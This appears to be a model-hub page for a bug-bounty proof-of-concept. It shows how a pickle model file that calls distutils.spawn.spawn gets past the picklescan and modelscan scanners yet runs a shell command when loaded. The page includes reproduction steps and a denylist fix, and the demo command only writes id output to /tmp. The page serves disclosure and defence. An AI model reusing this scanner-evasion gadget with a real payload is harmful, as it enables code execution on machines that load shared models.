Pickle Scanner Bypass via distutils.spawn.spawn (security PoC)

This is a benign security research proof-of-concept submitted to the huntr Model Format Vulnerability program (Protect AI / Palo Alto Networks). It demonstrates that a malicious model file passes picklescan 1.0.4 and modelscan 0.8.8 as clean, yet executes an OS command when loaded. The embedded command is harmless (id โ†’ a marker file in /tmp).

The bypass

The model's pickle invokes distutils.spawn.spawn(["sh","-c", "<cmd>"]). Per its own docstring, spawn() "Run[s] another program, specified as a command list, in a new process" โ†’ arbitrary command execution. The command is plain pickle data, so the only import opcode the scanners see is the GLOBAL distutils.spawn.spawn, which is on neither scanner's denylist.

picklescan blocks distutils.file_util ("arbitrary file write") but misses distutils.spawn.

Files

  • model.pkl โ€” raw pickle PoC
  • model.pt โ€” PyTorch package PoC (same gadget)

Reproduce

pip install picklescan modelscan torch setuptools
python -c "from picklescan.scanner import scan_file_path as s; print('infected_files=', s('model.pkl').infected_files)"  # 0
modelscan -p model.pkl   # No issues found! ๐ŸŽ‰
python -c "import pickle; pickle.load(open('model.pkl','rb'))"
python -c "import torch; torch.load('model.pt', weights_only=False)"
cat /tmp/huntr_poc_distutils_spawn   # -> id output (proof of code execution)

Remediation

Add distutils.spawn (and the distutils package broadly) to picklescan's _unsafe_globals and modelscan's denylist.

Reported by hacnho. The payload performs no harm; it only writes the output of id to a temp file to prove code execution.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐Ÿ™‹ Ask for provider support